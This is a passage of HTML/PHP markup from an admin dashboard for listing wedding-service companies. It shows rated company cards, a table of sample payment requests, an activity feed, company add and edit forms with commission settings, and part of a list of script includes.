<td class="text-center"><span class="status-icon bg-danger"></span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/company-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<!-- table-wrapper -->
</div>
<!-- section-wrapper -->
</div>
</div>
<div class="row">
<div class="col-12">
<div class="card box-widget widget-user">
<div class=" bg-primary text-center py-5 rounded-top" >
<h2 class="widget-user-username">Total Companies</h2>
<h3 class="widget-user-desc mt-3 mb-0 font-weight-bold">87 </h3>
</div>
<div class="box-footer py-3 ">
<div class="row">
<div class="col-sm-4 border-right">
<div class="description-block">
<h5 class="description-header text">38</h5><span class="text-muted font-weight-bold">Ui Design</span>
</div>
</div>
<div class="col-sm-4 border-right">
<div class="description-block">
<h5 class="description-header">30</h5><span class="text-muted font-weight-bold">Web Application</span>
</div>
</div>
<div class="col-sm-4 border-right">
<div class="description-block ">
<h5 class="description-header">17 </h5><span class="text-muted font-weight-bold">Web Shop</span>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-xl-4 col-lg-6 col-md-12">
<div class="box">
<div class="icon">
<div class="image ">
<img alt="User Avatar" class="rounded-circle mb-5" src="../assets/images/photos/logo/download.png">
</div>
<div class="info card pb-2">
<h3 class="title mb-0"><NAME></h3>
<p class="mt-2">Best September Hall</p>
<div class="d-flex justify-content-center mb-3">
<div class="chart-circle chart-circle-sm mx-2" data-value="1" data-thickness="4" data-color="#ecb403"><div class="chart-circle-value fs "><span class="fas fa-landmark"></span></div></div>
<div class="mt-3">
<span class="text-warning fs-18"><i class="fas fa-star"></i></span>
<span class="text-warning fs-18"><i class="fas fa-star"></i></span>
<span class="text-warning fs-18"><i class="fas fa-star"></i></span>
<span class="text-warning fs-18"><i class="fas fa-star"></i></span>
<span class="text-secondary fs-18"><i class="fas fa-star"></i></span>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-xl-4 col-lg-6 col-md-12">
<div class="box">
<div class="icon">
<div class="image ">
<img alt="User Avatar" class="rounded-circle mb-5" src="../assets/images/photos/logo/ring.png">
</div>
<div class="info card pb-2">
<h3 class="title mb-0">Majnoon wedding accessories</h3>
<p class="mt-2">Best September wedding accessories</p>
<div class="d-flex justify-content-center mb-3">
<div class="chart-circle chart-circle-sm mx-2" data-value="1" data-thickness="4" data-color="#f2574c"><div class="chart-circle-value fs "><span class="fas fa-anchor"></span></div></div>
<div class="mt-3">
<span class="text-danger fs-18"><i class="fas fa-star"></i></span>
<span class="text-danger fs-18"><i class="fas fa-star"></i></span>
<span class="text-danger fs-18"><i class="fas fa-star"></i></span>
<span class="text-danger fs-18"><i class="fas fa-star"></i></span>
<span class="text-secondary fs-18"><i class="fas fa-star"></i></span>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-xl-4 col-lg-6 col-md-12">
<div class="box">
<div class="icon">
<div class="image ">
<img alt="User Avatar" class="rounded-circle mb-5" src="../assets/images/photos/logo/mezon.jpg">
</div>
<div class="info card pb-2">
<h3 class="title mb-0"><NAME></h3>
<p class="mt-2">Best September Mezon</p>
<div class="d-flex justify-content-center mb-3">
<div class="chart-circle chart-circle-sm mx-2" data-value="1" data-thickness="4" data-color="#45aaf2"><div class="chart-circle-value fs "><span class="fas fa-heart"></span></div></div>
<div class="mt-3">
<span class="text-info fs-18"><i class="fas fa-star"></i></span>
<span class="text-info fs-18"><i class="fas fa-star"></i></span>
<span class="text-info fs-18"><i class="fas fa-star"></i></span>
<span class="text-info fs-18"><i class="fas fa-star"></i></span>
<span class="text-secondary fs-18"><i class="fas fa-star"></i></span>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-xl-4 col-lg-6 col-md-12">
<div class="box">
<div class="icon">
<div class="image ">
<img alt="User Avatar" class="rounded-circle mb-5" src="../assets/images/photos/logo/images.png">
</div>
<div class="info card pb-2">
<h3 class="title mb-0">Sheida Hair Salons</h3>
<p class="mt-2">Best September Hair Salon</p>
<div class="d-flex justify-content-center mb-3">
<div class="chart-circle chart-circle-sm mx-2" data-value="1" data-thickness="4" data-color="#DA70D6"><div class="chart-circle-value fs "><span class="fas fa-cut"></span></div></div>
<div class="mt-3">
<span class="text-pink fs-18"><i class="fas fa-star"></i></span>
<span class="text-pink fs-18"><i class="fas fa-star"></i></span>
<span class="text-pink fs-18"><i class="fas fa-star"></i></span>
<span class="text-pink fs-18"><i class="fas fa-star"></i></span>
<span class="text-pink fs-18"><i class="fas fa-star"></i></span>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-xl-4 col-lg-6 col-md-12">
<div class="box">
<div class="icon">
<div class="image ">
<img alt="User Avatar" class="rounded-circle mb-5" src="../assets/images/photos/logo/sports-car-logo-1.png">
</div>
<div class="info card pb-2">
<h3 class="title mb-0">Top Car Decoration</h3>
<p class="mt-2">Best September Car Decoration</p>
<div class="d-flex justify-content-center mb-3">
<div class="chart-circle chart-circle-sm mx-2" data-value="1" data-thickness="4" data-color="#32CD32"><div class="chart-circle-value fs "><span class="fas fa-car-alt"></span></div></div>
<div class="mt-3">
<span class="text-lime fs-18"><i class="fas fa-star"></i></span>
<span class="text-lime fs-18"><i class="fas fa-star"></i></span>
<span class="text-lime fs-18"><i class="fas fa-star"></i></span>
<span class="text-lime fs-18"><i class="fas fa-star"></i></span>
<span class="text-secondary fs-18"><i class="fas fa-star"></i></span>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-xl-4 col-lg-6 col-md-12">
<div class="box">
<div class="icon">
<div class="image ">
<img alt="User Avatar" class="rounded-circle mb-5" src="../assets/images/photos/logo/cake.png">
</div>
<div class="info card pb-2">
<h3 class="title mb-0">Sigol cake</h3>
<p class="mt-2">Best September Confectionery</p>
<div class="d-flex justify-content-center mb-3">
<div class="chart-circle chart-circle-sm mx-2" data-value="1" data-thickness="4" data-color="#FF7F50"><div class="chart-circle-value fs "><span class="fas fa-birthday-cake"></span></div></div>
<div class="mt-3">
<span class="text-orange fs-18"><i class="fas fa-star"></i></span>
<span class="text-orange fs-18"><i class="fas fa-star"></i></span>
<span class="text-orange fs-18"><i class="fas fa-star"></i></span>
<span class="text-orange fs-18"><i class="fas fa-star"></i></span>
<span class="text-secondary fs-18"><i class="fas fa-star"></i></span>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-12">
<div class="card">
<div class="card-header">
<h3 class="card-title font-weight-bold">
Payment Request</h3>
</div>
<div class="card-body">
<div class="table-responsive ">
<table id="example-6" class="table table-striped table-bordered nowrap">
<thead>
<tr>
<th class="wd-15p border-bottom-0 text-center bg-primary">Serial</th>
<th class="wd-15p border-bottom-0 text-center bg-primary">Type</th>
<th class="wd-15p border-bottom-0 text-center bg-primary">Requester</th>
<th class="wd-10p border-bottom-0 text-center bg-primary">Date</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Total Price</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">For</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">From</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">To</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Relation</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Invoice</th>
<th class="border-bottom-0 text-center bg-primary">Status</th>
<th class=" bg-primary">Actions</th>
</tr>
</thead>
<tbody>
<tr class="text-center">
<td>9856</td>
<td>Withdraw</td>
<td>Mr. Azimi</td>
<td>2/3/97</td>
<td>2,000,000</td>
<td>Project Commission</td>
<td><NAME></td>
<td>Matican Group</td>
<td>Mr. Taromi's Web Shop</td>
<td>687462</td>
<td>Paid</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/payment-request-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#edit-modal"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>65416</td>
<td>Despoit</td>
<td>Ms. shirzad</td>
<td>10/12/97</td>
<td>4,000,000</td>
<td>Salary</td>
<td>Mohammad Qanati</td>
<td>Matican Group</td>
<td>Mr. Taromi's Web Shop</td>
<td>4,000,000</td>
<td>unpaid</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/payment-request-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#edit-modal"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>9856</td>
<td>Withdraw</td>
<td>Mr. Azimi</td>
<td>2/3/97</td>
<td>2,000,000</td>
<td>Salary</td>
<td><NAME></td>
<td>Matican Group</td>
<td>Mr. Taromi's Web Shop</td>
<td>687462</td>
<td>Paid</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/payment-request-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#edit-modal"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>65416</td>
<td>Despoit</td>
<td>Ms. shirzad</td>
<td>10/12/97</td>
<td>4,000,000</td>
<td>Project Commission</td>
<td><NAME></td>
<td>Matican Group</td>
<td>Mr. Taromi's Web Shop</td>
<td>4,000,000</td>
<td>unpaid</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/payment-request-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#edit-modal"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>9856</td>
<td>Withdraw</td>
<td>Mr. Azimi</td>
<td>2/3/97</td>
<td>2,000,000</td>
<td>Salary</td>
<td><NAME></td>
<td>Matican Group</td>
<td>Mr. Taromi's Web Shop</td>
<td>687462</td>
<td>Paid</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/payment-request-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#edit-modal"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>65416</td>
<td>Despoit</td>
<td>Ms. shirzad</td>
<td>10/12/97</td>
<td>4,000,000</td>
<td>Salary</td>
<td>Mohammad Qanati</td>
<td>Matican Group</td>
<td>Mr. Taromi's Web Shop</td>
<td>4,000,000</td>
<td>unpaid</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/payment-request-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#edit-modal"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>9856</td>
<td>Withdraw</td>
<td>Mr. Azimi</td>
<td>2/3/97</td>
<td>2,000,000</td>
<td>Project Commission</td>
<td><NAME></td>
<td>Matican Group</td>
<td>Mr. Taromi's Web Shop</td>
<td>687462</td>
<td>Paid</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/payment-request-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#edit-modal"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>65416</td>
<td>Despoit</td>
<td>Ms. shirzad</td>
<td>10/12/97</td>
<td>4,000,000</td>
<td>Salary</td>
<td><NAME></td>
<td>Matican Group</td>
<td>Mr. Taromi's Web Shop</td>
<td>4,000,000</td>
<td>unpaid</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/payment-request-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#edit-modal"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<!-- table-wrapper -->
</div>
</div>
</div>
<div class="row">
<div class="col-xl-8 col-lg-12 col-md-12">
<div class="card overflow-hidden">
<div class="card-header">
<h3 class="card-title font-weight-bold">Companies locations</h3>
</div>
<div class="card-body">
<img src="/assets/images/photos/Matican Location Map + Pin.png" width="100%" alt="#">
</div>
</div>
</div>
<div class="col-xl-4 col-lg-12 col-md-12">
<div class="card">
<div class="card-header">
<h3 class="card-title font-weight-bold">Recent Activity</h3>
</div>
<div class="card-body">
<div class="activity">
<img src="../assets/images/photos/pro18.jpg" alt="" class="img-activity">
<div class="time-activity">
<div class="item-activity">
<p class="mb-0"><b><NAME></b> Add a new projects <b> <br>Project kick off</b></p>
<small class="text-info">30 mins ago</small>
</div>
</div>
<img src="../assets/images/photos/pro10.jpg" alt="" class="img-activity">
<div class="time-activity">
<div class="item-activity">
<p class="mb-0"><b><NAME></b> Add a new projects <b>Design New Films</b></p>
<small class="text-danger">1 days ago</small>
</div>
</div>
<img src="../assets/images/photos/pro8.jpg" alt="" class="img-activity">
<div class="time-activity">
<div class="item-activity">
<p class="mb-0"><b><NAME></b> Add a new projects <b>Upload Modified Photos</b></p>
<small class="text-warning">3 days ago</small>
</div>
</div>
<img src="../assets/images/photos/pro11.jpg" alt="" class="img-activity">
<div class="time-activity mb-0">
<div class="item-activity mb-0">
<p class="mb-0"><b><NAME></b><b> Hold The Coordination Meeting At Room Number 6</b></p>
<small class="text-success">5 days ago</small>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- Message Modal -->
<div class="modal fade" id="add-modal" tabindex="-1" role="dialog" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="example-Modal3-1">New Company</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="row">
<div class="col-md-12 col-xl-12">
<div class="card mb-0">
<div class="panel panel-primary ">
<div class="tab-menu-heading border-0">
<div class="tabs-menu ">
<!-- Tabs -->
<ul class="nav panel-tabs">
<li class=""><a href="#tab1" class="active font-weight-bold" data-toggle="tab">Basic Info</a></li>
<li><a href="#tab2" class="font-weight-bold" data-toggle="tab">Place & Location</a></li>
<li><a href="#tab3" class="font-weight-bold" data-toggle="tab">Detailing</a></li>
<li><a href="#tab4" class="font-weight-bold" data-toggle="tab">Financial</a></li>
</ul>
</div>
</div>
<div class="panel-body tabs-menu-body border-left-0 border-right-0 border-bottom-0">
<div class="tab-content">
<div class="tab-pane active " id="tab1">
<div class="row">
<div class="col-12">
<div class="form-group clearfix mt-3">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold">Company name :</label>
</div>
<div class="col-lg-9">
<input class="form-control required" id="Name" name="userName" type="text">
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold">Executive manager :</label>
</div>
<div class="col-lg-9">
<input class="form-control required" id="Name" name="userName" type="text">
</div>
</div>
</div>
<div class="form-group clearfix ">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold">Responsible person :</label>
</div>
<div class="col-lg-9">
<input class="form-control required" id="Name" name="userName" type="text">
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold">Office direct tel :</label>
</div>
<div class="col-lg-9">
<input class="form-control required" id="Name" name="userName" type="text">
</div>
</div>
</div>
<div class="form-group clearfix ">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold">Website address :</label>
</div>
<div class="col-lg-9">
<input class="form-control required" id="Name" name="userName" type="text">
</div>
</div>
</div>
<div class="form-group clearfix ">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold" >Org email :</label>
</div>
<div class="col-lg-9">
<input class="form-control required" id="Name" name="userName" type="email" placeholder="..........<EMAIL>">
</div>
</div>
</div>
<div class="form-group clearfix ">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold" >Rate :</label>
</div>
<div class="col-lg-9">
<span class="text-secondary fs-22"><i class="fas fa-star"></i></span>
<span class="text-secondary fs-22"><i class="fas fa-star"></i></span>
<span class="text-secondary fs-22"><i class="fas fa-star"></i></span>
<span class="text-secondary fs-22"><i class="fas fa-star"></i></span>
<span class="text-secondary fs-22"><i class="fas fa-star"></i></span>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold" for="Descriptions">Descriptions :</label>
</div>
<div class="col-lg-9">
<textarea class="form-control" name="example-textarea-input" rows="6" placeholder="text here.." id="Descriptions"></textarea>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="tab-pane" id="tab2">
<div class="row">
<div class="col-12">
<div class="form-group clearfix mt-3">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="Address">Address :</label>
</div>
<div class="col-lg-9">
<div class="input-group">
<div class="input-group-prepend">
<div class="input-group-text">
<i class="fas fa-map-signs tx-16 lh-0 op-6"></i>
</div>
</div>
<input class="form-control fc-datepicker"
id="Address" type="text">
</div>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-12 mt-1">
<img class="border-dark"
src="/assets/images/photos/Matican Location Map + Pin.png" width="100%"
alt="">
</div>
</div>
</div>
</div>
</div>
</div>
<div class="tab-pane" id="tab3">
<div class="row">
<div class="col-12">
<div class="form-group clearfix mt-3">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold" >Type :</label>
</div>
<div class="col-lg-8">
<select class="form-control" id="ProjectManager">
<option>Wedding hall</option>
<option>Hairdresser</option>
<option>wedding accessories</option>
<option>Car Decoration</option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold">Capacity :</label>
</div>
<div class="col-lg-8">
<input class="form-control required" id="Name" name="userName" type="text">
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold" >Professional Staff :</label>
</div>
<div class="col-lg-8">
<select class="form-control" id="ProjectManager">
<option></option>
<option></option>
<option></option>
<option></option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold" >Decoration :</label>
</div>
<div class="col-lg-8">
<select class="form-control" id="ProjectManager">
<option></option>
<option></option>
<option></option>
<option></option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold" >Cleaning & Maintenance :</label>
</div>
<div class="col-lg-8">
<select class="form-control" id="ProjectManager">
<option></option>
<option></option>
<option></option>
<option></option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold" >Easy Catering Service :</label>
</div>
<div class="col-lg-8">
<select class="form-control" id="ProjectManager">
<option></option>
<option></option>
<option></option>
<option></option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold" >Workflow Of Management :</label>
</div>
<div class="col-lg-8">
<select class="form-control" id="ProjectManager">
<option></option>
<option></option>
<option></option>
<option></option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold" >Convenient Location & Parking :</label>
</div>
<div class="col-lg-8">
<select class="form-control" id="ProjectManager">
<option></option>
<option></option>
<option></option>
<option></option>
</select>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="tab-pane" id="tab4">
<div class="row">
<div class="col-12">
<div class="form-group clearfix ">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold" >Deal commission method :</label>
</div>
<div class="col-lg-8">
<select class="form-control" id="ProjectManager">
<option>commission (percentage)</option>
<option>Fixed (constant amount)</option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold">Amount :</label>
</div>
<div class="col-lg-8">
<input class="form-control required" id="Name" name="userName" type="text">
</div>
</div>
</div>
<div class="form-group clearfix ">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold" >contract commission methot :</label>
</div>
<div class="col-lg-8">
<select class="form-control" id="ProjectManager">
<option>commission (percentage)</option>
<option>Fixed (constant amount)</option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold">Amount :</label>
</div>
<div class="col-lg-8">
<input class="form-control required" id="Name" name="userName" type="text">
</div>
</div>
</div>
<div class="form-group clearfix ">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold" >project commission method :</label>
</div>
<div class="col-lg-8">
<select class="form-control" id="ProjectManager">
<option>commission (percentage)</option>
<option>Fixed (constant amount)</option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold">Amount :</label>
</div>
<div class="col-lg-8">
<input class="form-control required" id="Name" name="userName" type="text">
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-danger" data-dismiss="modal">Cancel</button>
<button type="button" class="btn btn-primary"><i class="fas fa-check"></i> Save</button>
</div>
</div>
</div>
</div>
<div class="modal fade" id="edit-modal" tabindex="-1" role="dialog" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="example-Modal3-1">Edit Company</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="row">
<div class="col-md-12 col-xl-12">
<div class="card mb-0">
<div class="panel panel-primary ">
<div class="tab-menu-heading border-0">
<div class="tabs-menu ">
<!-- Tabs -->
<ul class="nav panel-tabs">
<li class=""><a href="#tab11" class="active font-weight-bold" data-toggle="tab">Basic Info</a></li>
<li><a href="#tab22" class="font-weight-bold" data-toggle="tab">Place & Location</a></li>
<li><a href="#tab33" class="font-weight-bold" data-toggle="tab">Detailing</a></li>
<li><a href="#tab44" class="font-weight-bold" data-toggle="tab">Other Info</a></li>
</ul>
</div>
</div>
<div class="panel-body tabs-menu-body border-left-0 border-right-0 border-bottom-0">
<div class="tab-content">
<div class="tab-pane active " id="tab11">
<div class="row">
<div class="col-12">
<div class="form-group clearfix mt-3">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold">Company name :</label>
</div>
<div class="col-lg-9">
<input class="form-control required" id="Name" name="userName" type="text">
</div>
</div>
</div>
<div class="form-group clearfix ">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold">Responsible person :</label>
</div>
<div class="col-lg-9">
<input class="form-control required" id="Name" name="userName" type="text">
</div>
</div>
</div>
<div class="form-group clearfix ">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold">Website address :</label>
</div>
<div class="col-lg-9">
<input class="form-control required" id="Name" name="userName" type="text">
</div>
</div>
</div>
<div class="form-group clearfix ">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold" >Org email :</label>
</div>
<div class="col-lg-9">
<input class="form-control required" id="Name" name="userName" type="email" placeholder="..........<EMAIL>">
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold" for="Descriptions">Descriptions :</label>
</div>
<div class="col-lg-9">
<textarea class="form-control" name="example-textarea-input" rows="6" placeholder="text here.." id="Descriptions"></textarea>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="tab-pane" id="tab22">
<div class="row">
<div class="col-12">
<div class="form-group clearfix mt-3">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="Address">Address :</label>
</div>
<div class="col-lg-9">
<div class="input-group">
<div class="input-group-prepend">
<div class="input-group-text">
<i class="fas fa-map-signs tx-16 lh-0 op-6"></i>
</div>
</div>
<input class="form-control fc-datepicker"
id="Address" type="text">
</div>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="Descriptions">Map :</label>
</div>
<div class="col-lg-9">
<div class="map-header">
<div class="map-header-layer" id="map2"></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="tab-pane" id="tab33">
<div class="row">
<div class="col-12">
<div class="form-group clearfix mt-3">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold" >Type :</label>
</div>
<div class="col-lg-8">
<select class="form-control" id="ProjectManager">
<option>Wedding hall</option>
<option>Hairdresser</option>
<option>wedding accessories</option>
<option>Car Decoration</option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold">Capacity :</label>
</div>
<div class="col-lg-8">
<input class="form-control required" id="Name" name="userName" type="text">
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold" >Professional Staff :</label>
</div>
<div class="col-lg-8">
<select class="form-control" id="ProjectManager">
<option></option>
<option></option>
<option></option>
<option></option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold" >Decoration :</label>
</div>
<div class="col-lg-8">
<select class="form-control" id="ProjectManager">
<option></option>
<option></option>
<option></option>
<option></option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold" >Cleaning & Maintenance :</label>
</div>
<div class="col-lg-8">
<select class="form-control" id="ProjectManager">
<option></option>
<option></option>
<option></option>
<option></option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold" >Easy Catering Service :</label>
</div>
<div class="col-lg-8">
<select class="form-control" id="ProjectManager">
<option></option>
<option></option>
<option></option>
<option></option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold" >Workflow Of Management :</label>
</div>
<div class="col-lg-8">
<select class="form-control" id="ProjectManager">
<option></option>
<option></option>
<option></option>
<option></option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold" >Convenient Location & Parking :</label>
</div>
<div class="col-lg-8">
<select class="form-control" id="ProjectManager">
<option></option>
<option></option>
<option></option>
<option></option>
</select>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="tab-pane" id="tab44">
<div class="row">
<div class="col-12">
<div class="form-group clearfix mt-3">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold" >Rate :</label>
</div>
<div class="col-lg-8">
<select class="form-control" id="ProjectManager">
<option></option>
<option></option>
<option></option>
<option></option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix ">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold" >Financial method :</label>
</div>
<div class="col-lg-8">
<select class="form-control" id="ProjectManager">
<option>commission (percentage)</option>
<option>Fixed (constant amount)</option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold">Executive manager :</label>
</div>
<div class="col-lg-8">
<input class="form-control required" id="Name" name="userName" type="text">
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold">Office direct tel :</label>
</div>
<div class="col-lg-8">
<input class="form-control required" id="Name" name="userName" type="text">
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-danger" data-dismiss="modal">Cancel</button>
<button type="button" class="btn btn-primary"><i class="fas fa-check"></i> Save</button>
</div>
</div>
</div>
</div>
<?php
$scripts = [
'/assets/plugins/peitychart/jquery.peity.min.js',
'/assets/js/apexcharts.js',
'/assets/plugins/chart/chart.bundle.js',
'/assets/plugins/chart/utils.js',
'/assets/plugins/input-mask/jquery.mask.min.js',
'/assets/plugins/counters/counterup.min.js',
'/assets/plugins/counters/waypoints.min.js',
'/assets/plugins/accordion/accordion.min.js',
'/assets/plugins/accordion/accor.js',
'/assets/js/custom.js',
'http://maps.google.com/maps/api/js?key=<KEY>',
'/assets/plugins/maps-google/jquery.googlemap.js',
'/assets/plugins/maps-google/map.js',
'/assets/plugins/jvectormap/jquery-jvectormap-2.0.2.min.js',
'/assets/plugins/jvectormap/jquery-jvectormap-world-mill-en.js',
'/assets/plugins/jvectormap/gdp-data.js',
